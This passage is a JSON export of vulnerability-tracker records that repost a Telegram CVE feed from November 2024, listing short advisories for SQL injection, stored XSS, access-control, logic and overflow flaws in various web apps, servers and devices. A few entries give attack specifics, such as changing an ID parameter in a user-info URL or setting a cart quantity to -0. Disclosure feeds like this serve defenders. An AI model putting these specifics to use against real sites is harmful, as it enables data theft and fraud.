Authentication Bypass\"\", \n  \"Content\": \"CVE ID : CVE-2024-50650 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : python_book V1.0 is vulnerable to Incorrect Access Control, which allows attackers to obtain sensitive information of users with different IDs by modifying the ID parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:26.000000Z"}, {"uuid": "fd63d770-926d-4f60-91e0-e2e13cc0b9a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50647", "type": "seen", "source": "https://t.me/cvedetector/11099", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50647 - Python Food Ordering System Unauthenticated Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-50647 \nPublished : Nov. 15, 2024, 4:15 p.m. | 44\u00a0minutes ago \nDescription : The python_food ordering system V1.0 has an unauthorized vulnerability that leads to the leakage of sensitive user information. Attackers can access it through https://ip:port/api/myapp/index/user/info?id=1 And modify the ID value to obtain sensitive user information beyond authorization. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T18:17:14.000000Z"}, {"uuid": "864f39f9-a248-4bd6-be90-83870cc02aef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50836", "type": "seen", "source": "https://t.me/cvedetector/10974", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50836 - KASHIPARA E-learning Management System XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50836 \nPublished : Nov. 14, 2024, 5:15 p.m. | 38\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability was found in /admin/teachers.php in KASHIPARA E-learning Management System Project 1.0. This vulnerability allows remote attackers to execute arbitrary scripts via the firstname and lastname parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T19:10:15.000000Z"}, {"uuid": "c73c2b42-7da0-4dac-b31e-004eefe57e65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50968", "type": "seen", "source": "https://t.me/cvedetector/11016", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50968 - iSourcecode Agri-Trading Online Shopping System Business Logic Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50968 \nPublished : Nov. 14, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : A business logic vulnerability exists in the Add to Cart function of itsourcecode Agri-Trading Online Shopping System 1.0, which allows remote attackers to manipulate the quant parameter when adding a product to the cart. By setting the quantity value to -0, an attacker can exploit a flaw in the application's total price calculation logic. This vulnerability causes the total price to be reduced to zero, allowing the attacker to add items to the cart and proceed to checkout. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-15T00:11:31.000000Z"}, {"uuid": "fdbd2638-98df-4be7-8471-574f33f05204", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50842", "type": "seen", "source": "https://t.me/cvedetector/10956", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50842 - KASHIPARA E-learning Management System Project Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50842 \nPublished : Nov. 14, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability was found in /lms/admin/school_year.php of KASHIPARA E-learning Management System Project 1.0. This vulnerability allows remote attackers to execute arbitrary scripts via the school_year parameter in a POST HTTP request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T15:49:25.000000Z"}, {"uuid": "bbf69078-b40b-4c79-aa79-269f3aea7af1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50833", "type": "seen", "source": "https://t.me/cvedetector/10979", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50833 - KASHIPARA E-learning Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50833 \nPublished : Nov. 14, 2024, 5:15 p.m. | 38\u00a0minutes ago \nDescription : A SQL Injection vulnerability was found in /login.php in KASHIPARA E-learning Management System Project 1.0 via the username and password parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T19:10:22.000000Z"}, {"uuid": "0f5f3de9-6720-4e0a-810f-ae622d095264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50830", "type": "seen", "source": "https://t.me/cvedetector/10995", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50830 - Kashipara E-learning Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50830 \nPublished : Nov. 14, 2024, 6:15 p.m. | 39\u00a0minutes ago \nDescription : A SQL Injection vulnerability was found in /admin/calendar_of_events.php in kashipara E-learning Management System Project 1.0 via the date_start, date_end, and title parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T20:00:49.000000Z"}, {"uuid": "ed1a8c4b-1dc8-4a54-a4ed-37d849695baf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50832", "type": "seen", "source": "https://t.me/cvedetector/10978", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50832 - Kashipara E-learning Management System Project SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50832 \nPublished : Nov. 14, 2024, 5:15 p.m. | 38\u00a0minutes ago \nDescription : A SQL Injection vulnerability was found in /admin/edit_class.php in kashipara E-learning Management System Project 1.0 via the class_name parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T19:10:21.000000Z"}, {"uuid": "712afdca-9b36-4ae9-971f-6acd69f339d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50834", "type": "seen", "source": "https://t.me/cvedetector/10973", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50834 - KASHIPARA E-learning Management System Project SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50834 \nPublished : Nov. 14, 2024, 5:15 p.m. | 38\u00a0minutes ago \nDescription : A SQL Injection was found in /admin/teachers.php in KASHIPARA E-learning Management System Project 1.0 via the firstname and lastname parameters. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T19:10:14.000000Z"}, {"uuid": "80efc0c2-ff91-43c9-8bc2-6e5a4274b1c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50837", "type": "seen", "source": "https://t.me/cvedetector/10963", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50837 - KASHIPARA E-learning Management System Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50837 \nPublished : Nov. 14, 2024, 3:15 p.m. | 19\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability was found in /lms/admin/admin_user.php in KASHIPARA E-learning Management System Project 1.0. This vulnerability allows remote attackers to execute arbitrary scripts via the firstname and username parameters in a POST HTTP request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T16:39:39.000000Z"}, {"uuid": "e1eed7a4-1fed-4dc7-8466-7c8ef95568be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50838", "type": "seen", "source": "https://t.me/cvedetector/10960", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50838 - KASHIPARA E-learning Management System Project Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50838 \nPublished : Nov. 14, 2024, 3:15 p.m. | 19\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability was found in /lms/admin/department.php in KASHIPARA E-learning Management System Project 1.0. This vulnerability allows remote attackers to execute arbitrary scripts via the d and pi parameters in a POST HTTP request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T16:39:36.000000Z"}, {"uuid": "e2e4cb7e-24bf-4ab0-b57f-c02589dae488", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50841", "type": "seen", "source": "https://t.me/cvedetector/10955", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50841 - KASHIPARA E-learning Management System Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50841 \nPublished : Nov. 14, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability was found in /lms/admin/calendar_of_events.php in KASHIPARA E-learning Management System pProject 1.0. This vulnerability allows remote attackers to execute arbitrary scripts via the date_start, date_end, and title parameters in a POST HTTP request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T15:49:25.000000Z"}, {"uuid": "5bb2d1a2-a60e-42cb-a33e-1ba5762518c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50840", "type": "seen", "source": "https://t.me/cvedetector/10954", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50840 - KASHIPARA E-learning Management System Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50840 \nPublished : Nov. 14, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability was found in /lms/admin/class.php in KASHIPARA E-learning Management System Project 1.0. This vulnerability allows remote attackers to execute arbitrary scripts via the class_name parameter in a POST HTTP request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T15:49:24.000000Z"}, {"uuid": "0e5b3630-864e-4de1-918b-be585ae0c490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50839", "type": "seen", "source": "https://t.me/cvedetector/10953", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50839 - KASHIPARA E-learning Management System Vulnerability: Stored XSS in Administrator Subject Addition\", \n  \"Content\": \"CVE ID : CVE-2024-50839 \nPublished : Nov. 14, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : A Stored Cross-Site Scripting (XSS) vulnerability was found in /lms/admin/add_subject.php page in KASHIPARA E-learning Management System Project 1.0. This vulnerability allows remote attackers to execute arbitrary scripts via the subject_code and title parameters in a POST HTTP request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T15:49:20.000000Z"}, {"uuid": "f2c829de-fe14-49f5-8d84-b9d9e7ec0c2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50843", "type": "seen", "source": "https://t.me/cvedetector/10950", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50843 - PHPGurukul Directory Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50843 \nPublished : Nov. 14, 2024, 2:15 p.m. | 28\u00a0minutes ago \nDescription : A Directory listing issue was found in PHPGurukul User Registration & Login and User Management System 3.2, which allows remote attackers attacker to access sensitive files and directories via /loginsystem/assets. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T15:49:18.000000Z"}, {"uuid": "5e9e63d4-30ee-423b-9a2d-073520e67dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50306", "type": "seen", "source": "https://t.me/cvedetector/10914", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50306 - Apache Traffic Server Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50306 \nPublished : Nov. 14, 2024, 10:15 a.m. | 17\u00a0minutes ago \nDescription : Unchecked return value can allow Apache Traffic Server to retain privileges on startup.  \n  \nThis issue affects Apache Traffic Server: from 9.2.0 through 9.2.5, from 10.0.0 through 10.0.1.  \n  \nUsers are recommended to upgrade to version 9.2.6 or 10.0.2, which fixes the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T11:38:00.000000Z"}, {"uuid": "8364a1da-0cc1-4039-a326-890cf6b7d324", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50305", "type": "seen", "source": "https://t.me/cvedetector/10913", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50305 - Apache Traffic Server Host Header Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-50305 \nPublished : Nov. 14, 2024, 10:15 a.m. | 17\u00a0minutes ago \nDescription : Valid Host header field can cause Apache Traffic Server to crash on some platforms.  \n  \nThis issue affects Apache Traffic Server: from 9.2.0 through 9.2.5.  \n  \nUsers are recommended to upgrade to version 9.2.6, which fixes the issue, or 10.0.2, which does not have the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T11:37:59.000000Z"}, {"uuid": "adfe9546-dded-4529-9592-a4793d65a0cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5082", "type": "seen", "source": "https://t.me/cvedetector/10904", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5082 - Sonatype Nexus Repository Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5082 \nPublished : Nov. 14, 2024, 3:15 a.m. | 38\u00a0minutes ago \nDescription : A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.\u00a0  \n  \nThis issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T04:56:52.000000Z"}, {"uuid": "10da6b64-39c5-4601-b2c6-55c817ac0b5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5083", "type": "seen", "source": "https://t.me/cvedetector/10903", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5083 - Sonatype Nexus Repository Cross-site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-5083 \nPublished : Nov. 14, 2024, 2:15 a.m. | 38\u00a0minutes ago \nDescription : A stored\u00a0Cross-site Scripting vulnerability has been discovered in Sonatype Nexus Repository 2  \n  \nThis issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-14T04:06:41.000000Z"}, {"uuid": "55035710-2255-400e-b7c2-084d9b224e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50969", "type": "seen", "source": "https://t.me/cvedetector/10842", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50969 - Jonnys Liquor Browser CSRF/XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50969 \nPublished : Nov. 13, 2024, 4:15 p.m. | 39\u00a0minutes ago \nDescription : A Reflected cross-site scripting (XSS) vulnerability in browse.php of Code-projects Jonnys Liquor 1.0 allows remote attackers to inject arbitrary web scripts or HTML via the search parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T18:04:06.000000Z"}, {"uuid": "2a361027-5caa-4b03-8150-c6671f2926ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50971", "type": "seen", "source": "https://t.me/cvedetector/10836", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50971 - Itsourcecode Construction Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50971 \nPublished : Nov. 13, 2024, 4:15 p.m. | 39\u00a0minutes ago \nDescription : A SQL injection vulnerability in print.php of Itsourcecode Construction Management System 1.0 allows remote attackers to execute arbitrary SQL commands via the map_id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T18:03:58.000000Z"}, {"uuid": "8b4abde9-55d3-4599-a29e-a1de093bc608", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50970", "type": "seen", "source": "https://t.me/cvedetector/10835", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50970 - Itsourcecode Online Furniture Shopping Project SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50970 \nPublished : Nov. 13, 2024, 4:15 p.m. | 39\u00a0minutes ago \nDescription : A SQL injection vulnerability in orderview1.php of Itsourcecode Online Furniture Shopping Project 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T18:03:57.000000Z"}, {"uuid": "e91271df-066c-4af3-906f-67efef910c30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50956", "type": "seen", "source": "https://t.me/cvedetector/10896", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50956 - Inovance Modbus Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50956 \nPublished : Nov. 13, 2024, 10:15 p.m. | 33\u00a0minutes ago \nDescription : A buffer overflow in the RecvSocketData function of Inovance HCPLC_AM401-CPU1608TPTN 21.38.0.0, HCPLC_AM402-CPU1608TPTN 41.38.0.0, and HCPLC_AM403-CPU1608TN 81.38.0.0 allows attackers to cause a Denial of Service (DoS) or execute arbitrary code via a crafted Modbus message. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T23:55:57.000000Z"}, {"uuid": "c04f1fdb-e23d-4a28-900c-16b33ef38811", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50955", "type": "seen", "source": "https://t.me/cvedetector/10895", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50955 - XINJE XD5E-24R XL5E-16T TCP DoS\", \n  \"Content\": \"CVE ID : CVE-2024-50955 \nPublished : Nov. 13, 2024, 10:15 p.m. | 33\u00a0minutes ago \nDescription : An issue in how XINJE XD5E-24R and XL5E-16T v3.5.3b handles TCP protocol messages allows attackers to cause a Denial of Service (DoS) via a crafted TCP message. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T23:55:57.000000Z"}, {"uuid": "8694372c-f586-4a87-bea9-3103a04b00a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50523", "type": "seen", "source": "https://t.me/cvedetector/9747", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50523 - RainbowLink Inc. All Post Contact Form File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50523 \nPublished : Nov. 4, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Unrestricted Upload of File with Dangerous Type vulnerability in RainbowLink Inc. All Post Contact Form allows Upload a Web Shell to a Web Server.This issue affects All Post Contact Form: from n/a through 1.7.3. \nSeverity: 10.0 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T16:06:56.000000Z"}, {"uuid": "1f861cd2-4406-4d96-9397-de486488c9e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50802", "type": "seen", "source": "https://t.me/cvedetector/9521", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50802 - AbanteCart Blind SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-50802 \nPublished : Oct. 31, 2024, 7:15 p.m. | 36\u00a0minutes ago \nDescription : A SQL Injection vulnerability was discovered in AbanteCart 1.4.0 in the update() function in public_html/admin/controller/responses/listing_grid/email_templates.php. The vulnerability is exploitable via the id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-31T21:07:15.000000Z"}, {"uuid": "a4599f0a-ee1e-41d2-8b73-a1c321848b2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50972", "type": "seen", "source": "https://t.me/cvedetector/10837", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50972 - Itsourcecode Construction Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50972 \nPublished : Nov. 13, 2024, 4:15 p.m. | 39\u00a0minutes ago \nDescription : A SQL injection vulnerability in printtool.php of Itsourcecode Construction Management System 1.0 allows remote attackers to execute arbitrary SQL commands via the borrow_id parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T18:03:59.000000Z"}, {"uuid": "588fbc41-4330-49d8-a7a3-d58909175c75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50854", "type": "seen", "source": "https://t.me/cvedetector/10820", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50854 - Tenda G3 Remote Code Execution (Stack Overflow)\", \n  \"Content\": \"CVE ID : CVE-2024-50854 \nPublished : Nov. 13, 2024, 3:15 p.m. | 38\u00a0minutes ago \nDescription : Tenda G3 v3.0 v15.11.0.20 was discovered to contain a stack overflow via the formSetPortMapping function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-13T17:13:29.000000Z"}, {"uuid": "dc46b3c2-e4f4-4f22-b384-78bff8b79525", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50853", "type": "seen", "source": "https://t.me/cvedetector/10824", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50853 - Tenda G3 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50853 \nPublished : Nov. 13, 2024, 3:15 